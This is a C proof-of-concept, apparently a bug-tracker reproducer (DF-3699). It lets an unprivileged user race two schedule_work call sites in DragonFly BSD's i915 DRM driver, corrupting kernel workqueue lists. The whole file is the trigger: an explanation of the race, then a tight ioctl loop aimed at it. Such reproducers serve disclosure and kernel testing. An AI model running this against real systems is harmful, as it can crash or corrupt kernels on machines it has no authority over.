DF-3699 / rps_queue_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-3699 trigger: race the two queue_work(&rps->work) sites. * * CPU A (user, this process): DRM_IOCTL_I915_GEM_WAIT on an in-flight * request -> i915_wait_request() -> gen6_rps_boost() * -> schedule_work(&dev_priv->gt_pm.rps.work) [intel_pm.c:6671] * * CPU B (MSI, hardirq): RPS EI/PM interrupt -> gen6_rps_irq_handler() * -> schedule_work(&dev_priv->gt_pm.rps.work) [i915_irq.c:1838] * * On DragonFly, schedule_work() -> queue_work(system_wq, work) picks the * per-CPU worker (system_wq has num_workers == ncpus) and takes ONLY that * worker's lock while test-and-setting work->on_queue * (sys/dev/drm/linux_workqueue.c:120-148). Two CPUs therefore can both * observe on_queue == false and both STAILQ_INSERT_TAIL the same work * struct into two different workers' lists -> single ws_entries.stqe_next * link shared by two lists -> list corruption -> cross-list traversal and * work->func(work) on mistyped/freed objects. * * This program drives site A from unprivileged userspace in a tight loop * while the GPU load keeps RPS interrupts (site B) firing. * * Requires: Intel SNB+ i915 with RPS enabled, /dev/dri/card0 writable by * the invoking (unprivileged) user, SMP machine. * Build: cc -O2 -o rps_queue_race rps_queue_race.c * Run: ./rps_queue_race 60 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <inttypes.h> #include <time.h> /* Minimal uapi crib (Linux-compatible, as exposed by DragonFly drm) */ #include "i915_uapi_min.h" #ifndef DRM_I915_GEM_WAIT #define DRM_I915_GEM_WAIT 0x2c #endif static int open_card(void) { static const char *paths[] = { "/dev/dri/card0", "/dev/dri/0", "/dev/dri/card1", NULL }; int i, fd; for (i = 0; paths[i]; i++) { fd = open(paths[i], O_RDWR | O_CLOEXEC); if (fd >= 0) return fd; } return -1; } int main(int argc, char **argv) { struct drm_i915_gem_context_create cc = {}; struct drm_i915_gem_create create = { .size = 4096 }; struct drm_i915_gem_execbuffer2 eb = {}; struct drm_i915_gem_wait wait = {}; struct drm_i915_getparam gp; int seconds = (argc > 1) ? atoi(argv[1]) : 30; int fd, ret, is_i915 = 0; time_t t0; fd = open_card(); if (fd < 0) { fprintf(stderr, "FAIL: no /dev/dri/card* device: %s\n", strerror(errno)); return 2; } /* Verify the device is actually i915 */ gp.param = I915_PARAM_CHIPSET_ID; gp.value = &ret; if (ioctl(fd, DRM_IOCTL_I915_GETPARAM, &gp) == 0) is_i915 = 1; if (!is_i915) { fprintf(stderr, "SKIP: /dev/dri device is not i915 (GETPARAM failed)\n"); close(fd); return 3; } if (ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_CREATE, &cc) < 0) { perror("context create"); close(fd); return 4; } if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &create) < 0) { perror("gem create"); close(fd); return 4; } /* * Submit batches back-to-back and immediately GEM_WAIT on a request * that has not started yet (long queue -> !i915_request_started -> * gen6_rps_boost fires schedule_work on OUR cpu). The RPS EI timer * on the GPU concurrently fires PMI interrupts on the irq cpu -> * second schedule_work. Loop hard to hit the insert-vs-insert * window (~100ns of store-visibility race). */ eb.batch_start_offset = 0; eb.flags = 0; eb.buffer_count = 0; /* kernel-only flush batch */ eb.rsvd1 = cc.ctx_id; t0 = time(NULL); for (;;) { if (ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2_WR, &eb) == 0) { wait.bo_handle = create.handle; wait.timeout_ns = 0; /* poll-wait: boost then return */ ioctl(fd, DRM_IOCTL_I915_GEM_WAIT, &wait); } if ((int)(time(NULL) - t0) >= seconds) break; } fprintf(stderr, "done: raced wait-boost vs RPS irq for %ds\n", seconds); close(fd); return 0; } |